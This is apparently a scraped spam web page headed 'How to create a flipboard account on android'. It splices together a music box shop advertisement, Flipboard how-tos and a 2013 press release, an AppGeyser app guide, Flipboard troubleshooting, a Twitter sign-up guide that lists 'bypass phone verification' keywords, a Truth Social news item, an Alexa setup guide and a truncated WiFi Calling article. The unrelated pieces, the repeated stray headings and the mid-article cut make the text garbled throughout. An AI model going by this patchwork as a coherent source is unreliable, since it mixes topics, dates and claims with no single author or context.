For over one hundred years, the music box has been a keepsake heirloom item many of us have treasured in our homes. And what was once a one-size-fits-all collectible is now fully customizable! Now, you can build your own custom music box, any song, any recording, custom engraving, totally personalized! First, choose your music box design from thousands of styles on our website; then choose a custom song, convert the sound or use the original or even your own recording! Our custom music boxes make great gifts for a friend, a loved one, anyone, including yourself!

Learn more about our music box customization process by selecting ‘Custom Digital Module’ or ‘Custom Movement’ below.

How to create a classic kane costume

Learn more about our music box customization process by selecting ‘Custom Digital Module’ or ‘Custom Movement’ below.

Custom Module

(Great Quality / Lower Cost)

How to create a classic kane costume

The Digital USB Model

The “Custom Music Box Module” is one of the newest creations combining tradition and cutting edge technology from Music Box Attic. It is the most popular way of inserting any song, sound or recording into any box you want (yours or ours). Available for all our boxes. Find the box you want, follow few easy steps to customize with your song.

Custom Movement

(Traditional / More Expensive)

How to create a classic kane costume

Custom Built Mechanical Movements

If you wanted a more traditional, classic approach to personalizing a music box then look no further. The process of building a mechanical movement is pain staking and requires time and precision. However, what you get in return brings with it the awe-aspiring wonders of music and mechanical ingenuity. A custom mechanical movement will be a cherished, as lifelong heirloom that will be admired for generations to come. Please contact us for more details on how to order and the entire process of getting a custom traditional mechanical movement.

Custom Tune Module USB Music Boxes

Introducing the Digital Module!

Have a favorite song you’d love to turn into a keepsake? Or maybe you’d like to add your own personal recording to a custom music box? The custom digital module is the way to go! This is one of our newest digital technologies in music box customization.

With our digital USB module, you can insert any song, sound, or recording into any music box you’d like. This module is available for nearly all MusicBoxAttic.com music boxes. All you have to do is find the music box style you want by browsing our products and follow a few easy steps on the product page to customize it with your song. It’s super easy and the result is a truly one-of-a-kind keepsake you (or a loved one!) will treasure forever.

Imagine adding your voice singing a lullaby to a music box created just for your little one. Or maybe you’d like to express your love for your significant other with the perfect customized gift – your ‘song’ in a music box. Your customization options are truly endless with our digital module.

Benefits of the Digital Module

The customizable digital module for music boxes can be added to nearly any music box style in our collection – from our traditional wooden music boxes to our musical jewelry boxes, figurine boxes, children’s music boxes, and others. The digital module allows you to add any song or recording inside the box. It’s the perfect gift for a loved one or the perfect heirloom collectible for yourself!

Our digital customizable music box module:

Include lithium ion quick rechargeable batteries. Recharging is fast and easy. And the sound is phenomenal with clear, crisp playback. Plays for months on in with normal use.
Can be turned on and off with the on/off toggle, so you can disable the music, sound, or recording when you’d like and helps to preserve the battery.
Holds nearly one hour of music, recording, or sounds
Superior quality and is designed specifically for MusicBoxAttic.com music boxes
Includes easy step-by-step instructions for connecting the digital module to your computer to add your digital sound file(s) if you choose to load music yourself

You can also take advantage of our custom song conversion service to transform your favorite song – or perhaps an original song – from its original version into a musical box-style digital sound.

How to create a flipboard account on android

June 27, 2022Cat-Diabeteshowwwww toooo dooo?

Jenn de la Vega / August 13, 2015

How to create a flipboard account on android

Create a Flipboard account to save stories and make magazines. It can help preserve your Flipboard’s set up from device to device and device to platform (it’s also useful for people who share a device). You can sign in to Flipboard on the Web and from your mobile device. To expedite logging in on the Web, use our QR code .

Signing in allows you to follow publications, people and social media sources, ensuring that your personal and private magazine settings are saved.

Here’s how to create a Flipboard account:

Register for Flipboard: On mobile, tap on the red “Sign Up” button. Choose how you will connect and a password. Next, you will be asked to start your profile by adding your name, preferred username and photo . On the Web, visit Flipboard.com and click on “Sign Up.”
Verify : You will need to confirm your email address to access your account and magazines from any device.
All set! Once registration is complete, you’ll get a tour of your Cover Stories and a short tutorial on how to make Smart Magazines.

To customize your profile , tap on the gear icon and then on Edit Profile. Here you can change your display name, your username if you didn’t get the one you wanted and there is space to add a description about you . Makes sure to save your settings in the upper right corner before proceeding.

Ready to make magazines? Get started here .

If you have any questions, visit our help center or contact us in-app.

Inside Flipboard / June 30, 2015

How to create a flipboard account on android

Ah, Flipboard. So much information to read. So many topics to explore. Flipping through beautiful magazines, you’re thinking, “I could never do that.” Well, wrong. With all the tools Flipboard provides, even beginners don’t have to look like newbies. Here are some ways to ensure your Flipboard profile won’t look like it was born yesterday.

Change your username to something that will look sensible on your profile. Flipboard automatically assigns a username. But if you’d rather be @JohnQJones or @DroneMakerJohn than @JohnJones63755, go to your profile and edit your account settings.
Start making magazines. On your profile, click the box that says “new” or “new magazine.” Choose a catchy title. It can be a simple word — Dreaming — or make a point — Best Ways to Recycle. If your title has a word that is already indexed in topics, your magazine might show up when others search relevant topics.
Find material to flip into your magazine by clicking on the + button. You’ll find the + button everywhere on Flipboard. It’s the easiest way to add content — but not the only way.
Flip content from your Web browser into your magazine using the bookmarklet. Flipboard’s bookmarket adds to your magazine-making toolbox. You can frequently choose which picture you want to appear with your article. You can also add pricing for any items for sale to create a “catalog.”
Connect your social networks. Even if you don’t have Flickr or 500px accounts, open them now so that you’ll have access through the mobile app to great photos you can use for your magazine covers.
Comment on the flips from the people and magazines you are following. That will spark MagMakers to look at what you’re doing. For more social interaction with other MagMakers, you can join Flipboard Club’s Flipboard Chat Group on Facebook and tweet your mags with the hashtag #FlipboardFriday on Fridays.
Discover more material to flip through Flipboard recommendations. Everyday Flipboard suggests articles and magazines that contain material everyone can flip into their own magazines. Tap on the magnifying glass on your mobile or “Explore” on the top left of your profile page on the web. Flipboard’s Web design opens worlds of content.
Use Flipboard search. Type any word, phrase or hashtag into the search box, and you’ll get relevant results from Flipboard, magazines people have made, and from the social networks that you have linked to your accounts. Now flip it into your mags.
Keep an attractive cover. By default, Flipboard picks up the most recent photo from a flip for the cover. You can, however, set your own cover by pressing on an item in a mag to call up the menu and choose “Promote to Cover” on mobile, or on the browser go into the magazine in your Editor and choose the cover icon. Here’s a #ProTip from AidaB: A good cover photo for a magazine should have a fairly high resolution, and the best part of the image shouldn’t be obscured by the letters in your magazine name.
Get to know your Web-based editor. On the Web editor, you can arrange your articles. Maybe you want to view them by sub-topic. Many mag makers use some form of chronological order.

What interests you enough to make a Flipboard magazine about it? It’s probably in front of your eyes or, even, inside your refrigerator. A great-looking magazine curated by you is just a few flips away.

Linda Bernstein is a professor of social media and journalism at Long Island University and an avid member of the Flipboard Club. On Flipboard, she curates magazines about everything from Wolf Hall to Ebola: The Hunt for the Cure to Miniature Worlds.

You can finally grab a copy of Flipboard (legitimately) for your Android device. But once you’ve got it, where do you start?

Nicole Cozma has an affinity for Android apps and devices, but loves technology in general. Based out of the Tampa Bay Area, she enjoys being a spectator to both sunsets and lightning storms.

Check out the products mentioned in this article:

iPhone 11 (From $699.99 at Apple)

Samsung Galaxy S10 (From $859.99 at Walmart)

Apple Macbook Pro (From $1,299.00 at Apple)

Lenovo IdeaPad 130 (From $469.99 at Walmart)

How to create a Flipboard magazine in the mobile app

1. Open the Flipboard app on your iPhone or Android device and tap on the profile tab at the bottom-right of the screen — its icon looks like the silhouette of a person’s head and shoulders.

2. Tap the “Magazines” heading, and tap the gray box that’s labeled “Make a New Magazine. ” This will always appear in the upper-left corner, no matter how many squares you create.

3. Choose one of the four category options.

Choose “For a passion” if you’d like to create a magazine that automatically pulls in stories the app thinks you’d be interested in.
Choose “For reading specific sources” if you’d like to limit your magazine to stories from specific outlets.
Choose “For sharing in a group” if you’d like to make a collaborative magazine with others.
Choose “For collecting” if you’d like to pick and choose what goes into the magazine from all sources.

4. Every category except for “For a passion” will then ask you to give your magazine a name and a description. You’ll also have the option to make the magazine private.

5. Tap “Create Magazine” when you’re ready, and pick what you want to put in it.

6. This will automatically add the new magazine to your profile page. You can tap on the magazine to open it and view saved stories. Tap on the three dots on the magazine’s thumbnail to edit it.

How to create a new Flipboard magazine on a computer

1. Log onto Flipboard on a Mac or PC, using your browser of choice. From any page, click the pencil icon at the top-right of the screen.

2. Click “Create a Magazine” from the pop-up that appears.

3. Enter a title and optional description in the pop-up. You can also check the box for the magazine to be public or not.

4. Click the red “Save” option when you’re done.

Flipboard is an online news and culture delivery platform that you can curate the news to your interests.

You can customize your Flipboard experience by identifying the types of stories you want to be delivered to your phone across various news categories, including politics, arts, and health.

While you can access all of this through the Flipboard app, setting up a Flipboard widget on your phone’s screen means you can see the latest stories without ever opening it.

The Flipboard widget works on both Android or iOS devices. The first step to getting it is to make sure you have downloaded the app and set up an account. If you don’t already have a Flipboard account, you can sign up for Flipboard with email, Facebook, Google, and more to get the day’s top headlines delivered straight to your phone.

Once you’ve done that, here’s how to add the widget to your phone.

Check out the products mentioned in this article:

iPhone 11 (From $699.99 at Apple)

Samsung Galaxy S10 (From $859.99 at Walmart)

How to add a Flipboard widget on Android

1. Tap a space on your home screen and hold down.

2. Tap “Widget” from the options that appear on the screen.

3. Search until you find the Flipboard widget. Select it.

4. Decide if you want the larger or smaller widget.

5. Now tap and hold the Flipboard widget you want and drag it to a free spot on the screen.

6. Once you’ve placed the widget, tap it to open Flipboard.

How to add a Flipboard widget on iOS

1. On the iPhone (or iPad) home screen, swipe down to open Notifications.

2. Swipe left on your notifications screen until you see the screen with a Search Bar on top.

3. Scroll down, then press “Edit.”

4. Tap the plus (+) symbol beside it.

Jenn de la Vega / June 29, 2015

How to create a flipboard account on android

Flipboard Magazines are great for gathering talking points for a presentation, class project or panel discussion. Not only is it free to create an account, it’s a quick way to put together flippable slides. Ask your organizer or A/V tech if they have the appropriate equipment to project from your mobile device or computer. Get started with Flipboard here.

You can flip, save and share whole beautifully paginated presentations from Slideshare as research or inspiration. You can also follow Slideshare for their top presentations as well as advice for making great decks.

Once your account is created, make your first magazine private so you can stage it while you get organized. If you’re working with a team, you can invite colleagues via email to collaborate, divide up the work or send for approval. They must be registered with Flipboard; if they aren’t, they will be prompted.

How to create a flipboard account on android

The beauty of Flipboard is that you don’t need to worry about laying out your content. You can gather materials together and rearrange them into the order you want on the Web.

Here are the types of media that you can flip into a magazine presentation:

Text – By tapping on the compose button on the cover of any of your magazines, you can create title cards, interstitials and a contact page.

How to create a flipboard account on android

Images – If you can host it on your mobile device, you can flip JPGs, PNGs and GIFs to elicit a reaction, show examples and introduce an idea. Simply press the share button from your device’s photo gallery or camera roll.

How to create a flipboard account on android

Alternatively, you can use our Chrome extension or bookmarklet to grab images from your website, social media accounts, Flickr or 500px account.

Articles – Published stories or blogs can be prompts for discussion. Flip articles with comments so you don’t have to use note cards.

How to create a flipboard account on android

Sound – Our partnership with SoundCloud allows any of their links to be played from within a magazine. Use audio to demonstrate another language, music examples and play quotes from an interview or speech.

How to create a flipboard account on android

Video – Flip a YouTube or Vimeo link to show video during your presentation.

How to create a flipboard account on android

If you want to make your presentation public after you’ve given it, go to your settings and change the privacy. You can also share the whole thing via social media or collect all of your finished presentations in a meta-zine.

As you all know that Android is one of the popular mobile OS at this moment. Android Market is already loaded with 300,000+ Apps and Games for over 300 Android Devices.

It gets millions of downloads per day. How about giving your reader an android app for your blog. This way, they can keep track of blog updates from their android powered smartphones and devices.

How to create a flipboard account on android

On the other side, WordPress is the #1 Blogging platform used by millions of bloggers. Creating an Android App of your blog isn’t hard and it’s easy, too. Let’s see how you can create an Android app of your blog without coding.

How to use AppGeyser to Create Free Android app for Blog?

You can create a professional android app for your blog using AppGeyser, all you need is to sign up on the website. Put up the information and get started.

How to create a flipboard account on android

Step 1: First head to the link http://www.appsgeyser.com/ and then click on CREATE APP button.

How to create a flipboard account on android

Step 2: Fill the required columns with the information required.

Website URL: Type the address of your blog.
App Name: Type the heading of your blog, or the name you would like to give to your app.
Description: Write the description of your blog.
Icon: Upload the .png file, this would be the icon of your blog’s app.
Screen orientation: The orientation of the screen, depends on your blog.
Category: Select the category which suits your app.

Step 3: Now, fill the required details, or you can directly connect with Facebook to login.

Step 4: That’s it. Your Android app is ready to be tested. Just click on “Test Your App” which will download the apk file of your application. Now, transfer the downloaded apk file to your mobile phone and run the same to test it.

[OPTIONAL]: You can also submit your Android app to the Google Play Store. Your App has to comply with all Play Store Policies, plus you need to have a developer account which costs $5 only. Then you are allowed to submit unlimited applications.

You’ve successfully created an Android app for your blog. Do read out guide on How to promote Android app .

To submit it to the marketplace, head over to Android Marketplace Publish page and give the required details there.

Flipboard crashing or not updating? These fixes will help

How to create a flipboard account on android

Southern New Hampshire University

When Flipboard isn’t working, you might not be able to access the curated new and content you want to read or watch. Here’s are some common causes and solutions to Flipboard issues.

How Flipboard Problems May Appear

If you’ve used Flipboard for any length of time, you’re probably pretty familiar with how it works. So, when something goes wrong, you’re likely to notice it. For example, you might be experiencing problems with Flipboard if:

Your Flipboard magazines and collections don’t refresh.
Your Flipboard app crashes every time you open it.
You can’t flip content into your Flipboard collections.
You receive the error: “Not logged in: You are not logged in. Please login and try again.”

Causes of Flipboard Not Working

Although it seems to be pretty rare, there are several things that can cause Flipboard not to work properly. For example, if you’ve created a magazine that covers a very niche topic, it’s possible that it just hasn’t been updated since the last time you saw it, but there could also be something more be something more going on.

Another cause of problems with Flipboard could be that you’ve inadvertently logged out (or logged into the wrong account), or that you’ve missed an update to the app. Regardless of the issue, these troubleshooting steps should help you get Flipboard back up again.

How to Fix it When Flipboard Isn’t Working Right

If your Flipboard app isn’t working correctly, try walking through these troubleshooting steps. Start at the top of the list and try each one of the suggestions individually until you resolve the problem you’re having.

Check to be sure you’re logged into Flipboard. If your Flipboard magazines aren’t updating, it could be that you’re logged out, or that you’ve logged into the wrong account (if you have multiple accounts). Make sure you’re logged into the right account and then refresh your feed to see if the problem resolves itself.

If you’re using Windows 10 and have downloaded the Flipboard app from the Microsoft Store, you may encounter issues when you try to log in using your Facebook credentials. If that’s the case, you’ll need to contact Flipboard Account Verification Support ([email protected]) to update your account login information to an email address and password combination.

Update your Flipboard app. If Flipboard is out of date, it can cause the app to crash each time you open it. To fix this, update the app from your devices app drawer. The process for updating apps on Android will vary from the process for updating apps on iOS and iPadOS.

Force quit and restart Flipboard. Many devices today keep apps running in the background all the time, which is useful, but can sometimes result in apps that don’t behave well. In the case of Flipboard, a simple restart could solve crashing or refresh problems you may be experiencing.

To force quit and restart apps on iOS or iPadOS, you’ll need to open the App Switcher and close Flipboard from there. To force quit an app on Android, you’ll need to use the Apps Manager.

Restart your device. If it seems that Flipboard isn’t updating, try restarting your device. A restart often seems to work to to clear fuzzy errors, reconnect networks, and other minor issues that are mostly unnoticeable because they don’t affect all aspects of your device.

Check to see if Flipboard is down. Occasionally, the Flipboard networks will be down for maintenance. One way to find out if the problem is on Flipboard’s side is to go a website service that monitors site health, like Downdetector, to see if Flipboard is down or if the problem is on your end.

When all else fails, contact Flipboard’s Tech Support. If you can access the app, you can contact support by going to Profile > Settings > Help. At the top, select Contact Us.

If you can’t access your Flipboard app, you can go to Flipboard’s Help Center and click Contact to start the process of connecting to Flipboard.

1 vote 4 / 5

Varies with device
License

Freeware

Language en

Flipboard download in progress

You will be automatically redirected to the homepage in 30 seconds.

What is Flipboard? Flipboard news aggregator and social network aggregation company. It was created in 2010. The aggregated content is under the form of a magazine and comes from social media, new feeds, and other websites. With Flipboard, users can also save articles into their own Flipboard magazine. The app has over 500 million installations on Android and over 200 thousand ratings on the Apple store.

How to create a flipboard account on android

Key Features
How Does Flipboard Work?
Is Flipboard Safe?
Is Flipboard Free?
System Requirements

Key Features

Here are some of Flipoboard’s main features:

Flipboard TV: over 20 curated video channels for new, style, lifestyle, and more. Those videos come from different publishers and producers (some of which are independent), as well as TV stations – and it’s for free.
Explore: with Flipboard, you can discover the latest news from famous magazines (such as National Geographic and Vanity Fair) and read the Daily Edition.
Personalize: select together hashtags and sources in order to create access to personalized news (Smart magazines). Moreover, collect stories and themes to add to your personal magazines.
User-friendly Interface: thanks to this app’s easy-to-use interface, you will be able to make the most of it in no time.

How Does Flipboard Work?

Flipboard is fairly easy to use. Once you download and install the app, it will ask you for your centers of interest in order to personalize your experience. Next, you can connect with email in order to save stories and later use it as your Flipboard login. You can personalize your experience and edit your profile from the person button in the bottom right corner. You can also change your region and language – the first one will help you get local news. There is also the possibility to link different accounts with Flipboard, such as your Tumblr account.

How to create a flipboard account on android

Is Flipboard Safe?

Unfortunately, Flipboard has a history of data breaches that occurred in 2018 and 2019. The company assures that data are encrypted and that the passwords are protected by salted hashes, which makes them difficult, but not impossible to crack. Also, given the numerous sources that can be used to create personalized magazines, it seems that the Flipboard app is mostly suitable for adults or mature teens.

As always, we recommend avoiding sharing personal information on the app, as well as using a different password from your other accounts on the web.

Is Flipboard Free?

You can download and use this app for free.

System Requirements

The required Android version varies with devices. There is also a version for Apple users and it requires iOS 12.0 and watchOS 4.0 or later. It is compatible with iPhone, iPad, and iPod touch. Images: Google Play/Personal Screenshots

Gallery: Samsung Experience store London | 12 Photos

FLIPBOARD MAGAZINE CURATION NOW ON ANDROID WITH IN-APP SHARING

Also Launching Today: Flipboard Editor For Managing Magazines

The Financial Times Lands On Flipboard

May 9, 2013 – Palo Alto, Calif. – Today, the newest edition of Flipboard that lets everyone curate magazines is available for Android phones and tablets. Now, everyone on a Samsung Galaxy phone, Nexus tablet or other Android device can keep up on all of their news and interests as well as create their own magazines on any topic, event or hobby. Today the company also announced Flipboard Editor, a web-based tool that gives all curators more control over their magazines. Additionally, subscribers to the Financial Times can now read the entire FT on their Flipboard.

Flipboard has become known as a single place to enjoy the news and updates people want everyday on their tablets and smartphones; it’s an easy way to quickly catch up on what’s happening in the world. With the ability to save and collect stories, videos and images into custom magazines, Flipboard provides a platform for personal expression and idea-sharing. Anyone can start their own magazine with a simple tap on the “+” button on items within Flipboard or by using the Flipboard bookmarklet to save content via the web.

On Android devices, people also have the option to flip an item into a magazine from other applications, including YouTube, a web browser or their photo gallery. There are also many ways to share Flipboard magazines on Android: in addition to the social networks they have connected to Flipboard, Android users can share a magazine from the magazine’s cover “share” button, via text message, email or on Pinterest.

Flipboard Editor: Web Tools for Magazines
Also launching is a new web-based Editor that gives all Flipboard curators more control over their magazines. With Editor, which is available at editor.flipboard.com, everyone can change the order of stories, photos and videos in their magazine, delete content, reorder the magazines themselves and have additional insight into how often items in a magazine have been shared.

Financial Times on Flipboard
Starting today, people can read the world’s business and financial news from the famous salmon-colored pages of the Financial Times on Flipboard. FT.com subscribers will get full, unlimited access to the latest FT content on Flipboard. All Flipboard users are able to access FT blogs and videos. The Financial Times is available on all editions of Flipboard.

“We are delighted to be available to our readers on Flipboard, which is a natural development for the Financial Times. We have long pursued a strategy of making our content available to subscribers across formats, and this launch will combine the FT’s award-winning journalism with Flipboard’s unique, personalized reading experience. It also strengthens our presence on Android, the largest smartphone operating system in the world,” said Rob Grimshaw, managing director of FT.com. “Readers are increasingly accessing the FT through a range of devices, with a third of all FT.com traffic and 15 percent of new digital subscriptions coming through mobile.”

Finally, Flipboard for Android makes use of Facebook Single Sign-on, which allows Facebook members to quickly create a Flipboard account using their existing Facebook login information instead of an email address so they can create magazines and share them with their friends. Flipboard 2.0 for Android is now available for free from Google Play.

Jenn de la Vega / April 7, 2015

How to create a flipboard account on android

With the rise of tech in education, a natural step is to get your school’s presence online. You can unlock a lot of potential if you think about a Flipboard magazine as a digital pamphlet or brochure to distribute information. The advantages include saving on printing costs, paper and time to produce. A great way to display your magazine is embedded on your website. You can also show it off on a tablet in your waiting room or on computer screens during back-to-school night.

In a previous post, we’ve covered how to make a magazine for class. The process is the same except this time the approach is different.

Here are a few ideas to get started:

Campus and school culture tour
Available programs of study
Sport team information
Guidance counselor supplements
Club directory

A compelling cover is important, attractive and should capture the essence of your institution or program. If you are going to showcase students or teachers in action, make sure you have the permission to do so.

Your magazine description can expand on the title and provide more context for what is contained in your “brochure.” If your school shares a name with another, be sure to include your city, website URL and grade levels or subject, so visitors know they’ve found the right magazine. You can also place an email address in your description, as long as you provide a way for visitors to receive more information.

As far as flipping content into your brochure, you can start with a welcome letter or explanation hosted on your website, blog or Medium.

News pieces about your program or school can provide testimonials. For example, you’d share an article about high test scores if you want to highlight your curriculum or sport team wins from the local paper if you’re looking to recruit new members.

Add original photos by connecting your social accounts. If you’re using an Android or iOS phone, tap the following tab (four square icon), select Accounts and log into your preferred networks.

How to create a flipboard account on android

To add pictures directly from your device on iOS, use the share extension from the Photos app.

How to create a flipboard account on android

On Android, tap into your photo gallery. Select the image, then the share icon. Choose Flipboard from the list of options and select your magazine. Now, when you navigate to the magazine, you should see the flipped item from your photo gallery.

Lastly, you should conclude the Flipboard magazine with a sign off, contact information or websites for more information.

It’s important to strike a balance with enough pages to flip to feel like a mini-magazine, but also compact enough to relay the information you need to communicate. Remember to refresh your brochure every year or as needed. It’s quick and easy now that you can edit magazines from Flipboard.com.

Showcase your school’s Flipboard brochure by tweeting the link to @FlipboardMag with the #FlipEDU hashtag.

We respect the privacy choices of our users. To control your visibility on Flipboard, you can set your account from public to private, and vice versa.

Set your profile to private

Android

Go to your Profile.
Tap the Settings icon.
Select Edit Profile.
Toggle the Private Account switch.

Go to your Profile.
Tap the Settings icon.
Select Edit Profile and choose Profile privacy.
Toggle the Private profile switch.

Go to your Profile menu and choose Settings.
Scroll down to Private Profile and check the box.

What happens when I set my profile to private?

Your profile statistics (followers, likes, and magazine count) will be hidden from others.
Your magazines will be set to private.
Your profile will no longer be searchable in Explore or recommended to others.

How do I make my profile public again?

To revert the privacy setting just follow the same steps as above, but toggle the privacy switch off. Your magazines will remain private unless you manually set them public.

How do I make my magazines public?

Setting your profile back to public will not update the privacy setting of your magazines. To make them public again, toggle the privacy switch for each of your magazines.

How to Fix Twitter Account verification Code With Phone Number?

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Table of Contents

In today’s guide, we are going to show you how to create Twitter account without phone number verification or email either. The post will help you answer some of these Twitter issues:

Create Twitter account without phone number
Fake phone number for Twitter
Twitter sign up
Verify your phone number Twitter
Bypass Twitter phone verification
Free phone number for Facebook
Twitter sign up Login
Please confirm the phone number associated with your Twitter account

To start you may search on Google for twitter, or just type in twitter.com next you will land on the home page. There, you have two options, whether to log in if you are already registered or you just sign up by following these steps:

Select a name or a nickname;
Click on the link that says “use email instead”: this is the problem that most users face, and they cannot find a phone number for verification.

Use the email you want: make sure it is the correct email as it is a case-sensitive and this may cause problems later for verification of your account, serious privacy or security for your account or if you want to restore your password.
Specify the date of birth: make sure it exceeds 18 years old.
Click sign up button.
Next you will be asked for the verification code sent to your email.
Copy and paste the code in the box.
Specify a password: it is very important that you use a strong one which combines punctuation characters small and capital letters, and that’s it you get your Twitter account.

Follow this step-by-step guide to get other tips on how to create Twitter account without phone number :

Create Twitter Account Without Phone Number

Former US President Donald Trump is making a return to social media but, this time around, he’s launching the platform himself.

Trump was banned from Twitter and suspended from Facebook after his supporters stormed the US Capitol, prompting him to create Truth Social.

The new social media platform encourages “free and open conversation”, and will reportedly act as a rival site against online giants such as Twitter.

We break down everything that you need to know about Truth Social, including how to join, how much it’ll cost, and speculation around accessibility on Android devices.

OMG: Fans assemble, Marvel and Pandora just released an epic charm collection

What is Truth Social?

Truth Social is a social media platform launched by Donald Trump, set to rival mainstream websites.

Judging by the few images that have been released of the platform, the layout appears strikingly similar to that of Twitter, which Trump was permanently banned from.

However, instead of tweets, the platform will publish ‘truths‘, which are available to ‘retruth’ on a user’s ‘truth feed’.

As reported by The Daily Mail, Trump already seemingly had an account on the platform before launch, according to a screenshot posted by his son Donald Jr.

“Time for some Truth. ”, Donald Jr. wrote, sharing an alleged Truth Social post from his father, which read: “Get ready! Your favorite president will see you soon.”

TWITTER SWINDLER: A new saga taking over the internet after the Netflix doc

Photo by Mario Tama/Getty Images

How to join the social media platform

Truth Social launched on February 21st, 2022, and is now available on the Apple App Store.

A waiting list on Truth Social’s website was available for sign-up before the launch of the app, and users can still input their information even though the app is operating. It’s expected that once on the waiting list, you will receive an email inviting you to join the platform.

With that being said, many are experiencing errors and a long waiting period to access the app due to high demand.

However, once the demand has died down following the launch of the app, it’s expected that the social media site will be much easier to access.

I just went through hours of error messages *just* to create an account on Truth Social

Now, I’m on a massive waiting list pic.twitter.com/xYkW5lHVjZ

As per Daily Dot, it’s free to join Truth Social’s waiting list, but it’ll apparently cost you if you want to reserve a username. The same outlet reports that, in order to reserve a username on the platform, you have to make a donation to NRSC. The donation can be anywhere from $1 and upwards.

Social media users speculate if Truth Social app will be available for Android

We already know that Truth Social is available on Apple’s app store, but there’s a lot of speculation surrounding the accessibility of the platform for Android users.

Most outlets state that the app isn’t available on Google Play Stores, prompting Trump fans to complain.

One person wrote: “If Truth Social expects to be successful they need to get it on android right away!”

Somebody else tweeted: “When do Android phone users get on Truth Social?”

Where’s truth social for Android?

As reported by The Verge, an exact launch date for the app to join Android is to be confirmed, but Truth Social’s website says it’s coming to the Google Play Store “soon.”

Are you wondering how to use Alexa on Android Phone? Read on!

Alexa has grown way beyond use as a virtual assistant on Amazon devices; it is now available for Android devices, and Android users are now enjoying Alexa’s rich features plus easy access to Amazon services.

In this post, you will learn a lot more about how to use Alexa on Android phones.

Meet Alexa, the Virtual Assistant

Alexa is a virtual voice assistant created by Amazon. It was initially developed for use with Amazon’s Echo speakers as voice outputs for search results. Presently, Alexa has grown beyond being used as a virtual assistant for home automation.

Much like Google Assistant, Siri, or Samsung’s Bixby, Alexa can supply you with much-needed information like weather info, news, locations, and direction, and also perform complex processes such as playing music, take pictures, translate, read out notifications, accessing your social media accounts, and also communicate with other IoT enabled appliances in your home.

Like Google Assistant, Alexa has many features that can make you get the best out of your Android device.

How To Use Alexa On Android Phone

Getting Alexa up and running on your Android phone isn’t rocket science; in few easy steps, you would be able to set up Alexa and ask her what the weather looks like in Kansas right from your Android phone.

Download and install the Amazon Alexa app from Google Play Store . You can also download Alexa from the Amazon app store or Aptoide app store.
Launch the downloaded Alexa app on your android phone
Log in with your Amazon account on the ‘amazon Alexa’ login page. If you do not have an amazon account, hit the ‘CREATE A NEW AMAZON ACCOUNT’ button to sign up for an Amazon account.
A successful login directs you to the ‘GET STARTED’ page. Hit the ‘GET STARTED’ menu to proceed.
You will be directed to the ‘Help Alexa get to know you’ page. Here you can personalize your experience by tapping on your name icon, which says, ‘I’m Bob Barley.’
On the ‘Give Amazon permissions’ page, tap on the ‘ALLOW’ button to grant Alex access to your contacts.
Grant Alexa other permissions it needs to serve you better.
Now you have Alexa set up and rolling on your Android phone.

How To Set Up Alexa As Your Default Voice Assistant

Go to your device’s settings >> ‘Apps & notifications’
On the ‘Apps & notification’ page, select ‘Default apps.’
You will be redirected to the ‘Default apps’ page and select the first option, ‘Assist & voice input.’
Tap on ‘Assist app’ on the Assist & voice input page
On the ‘Assist app’ page, change the default ‘Assist app’ by selecting ‘Amazon Alexa’ from the options.
Follow the prompt to make Amazon Alexa your assistant.
Tap ‘AGREE’ to continue.
Toggle on the ‘Use text from screen’ button. Your action automatically toggles on the ‘Use screenshot’ button.
Exit your device’s settings

How To Launch Alexa For First Use

Now that you’ve successfully set Amazon Alexa as your default Assistant, let’s go over a few steps together and see how well Alexa warms up to you.

Hold down the home button to launch Alexa.
This takes you to Alexa’s home page. You will have to grant permission to the following request from Alexa if they are not already granted. ‘To get started, give Alexa permission to access your microphone and location and do the following and more.’
- Allow Alexa to hear your requests
- Call and message friends and family
- Control smart home devices
- Get location-relevant results’
Tap on the ‘Allow’ button to proceed.
A notification pops up, asking you to ‘Allow Amazon Alexa to record audio? Tap on ‘Allow’ to grant Alexa permission to record audio.
There you’re! to make your first inquiry from Alexa, hold down the home button, and say the trigger word: ‘Alexa, what is the weather like in Kansas today?’ you can even ask Alexa to tell you a joke or show you directions.

How To Configure And Personalize Alexa

Go to Alexa’s menu to access the following personalization options:

Routines: Under the ‘Routine’ options, you can personalize Alexa to perform specific tasks using a single command. E.g., you can set up Alexa to turn on the lights, turn up the heat, play music, put your phone on silent, etc. by configuring Alexa to recognizing the phrase: e.g. ‘Alexa, wake up.’
Lists & Notes: Under this menu, you can view items you added to your Amazon ‘shopping and to-do list.’
Skills & Games: This menu links you to the Amazon app store where you can browse through thousands of apps in various categories, including health and fitness, games, lifestyle, etc. You can use Alexa to install and manage third-party apps on your Android phone.
Settings: In the settings menu, you can set up and manage your location, profile, and preferences such as notifications, sports, music, TV, etc.

Things You Can Do With Alexa

You can control your smart devices and cars with Alexa. Not to mention, Alexa can control any IoT enabled devices. You can ask Alexa to switch on the lights, control your thermostats, start your vehicle, run diagnostics on your car, etc.
You can order for any goods on Amazon using Alexa. You can also track your goods by saying, ‘Alexa, where are my ordered goods?’ Alexa will get the tracking information for your goods displayed on your screen.
Alexa can read out notifications, recipes, etc. it can also check and track expiry dates on goods.
You can use Alexa to find your way around town or in unfamiliar territory.

Some Voice Commands To Use With Alexa

Alexa, convert $100 to CAD.
Alexa, what is the weather looking like today?
Alexa, add eggs to my shopping list
Alexa, sing me a song
Alexa, read my book (mention names)
Alexa, track my goods
Alexa, Open Spotify

The list of voice commands never ends with Alexa; all you need to do is hold down the home button and tell Alexa what you want.

If your Android phone supports WiFi Calling, you should enable it – it’ll save you money and give you better call quality. Here’s how it is done…

WiFi Calling isn’t particularly new but it is criminal how few people know it exists and actually use it. WiFi Calling isn’t enabled by default, you see, so many people simply do not know it is available on their phones.

But if your Android phone supports WiFi Calling, you should definitely be using it.

Why? Because with WiFi Calling enabled on your Android phone, you’ll save money on calls and, when you do make and receive calls, they’ll be handled over WiFi so will be better quality which is great if you live in a poor reception area.

Does Your Android Phone Support WiFi Calling?

With WiFi Calling calling, you need an Android phone that supports it and a carrier or network that does too. If you have an Android phone that supports WiFi Calling but you’re with a carrier or network that doesn’t allow it, you will not be able to use the feature.

Most big-name carriers and networks support WiFi Calling, however, so if you’re with Verizon, T Mobile, Sprint, AT&T, Three, EE, O2, or Vodafone you should be able to get WiFi Calling on your Android phone.

MVNOs don’t tend to support WiFi Calling, so if you’re with one of these cheaper carriers or networks, you might not be able to access WiFi Calling on your Android phone. Basically, for WiFi Calling to work you need both your carrier AND your phone to support it.

How To Enable WiFi Calling on Android

How to create a flipboard account on android

In order to switch on WiFi Calling on Android, you need to do some digging in the Settings app on your phone. Most Android phones do not ship with WiFi Calling enabled by default.

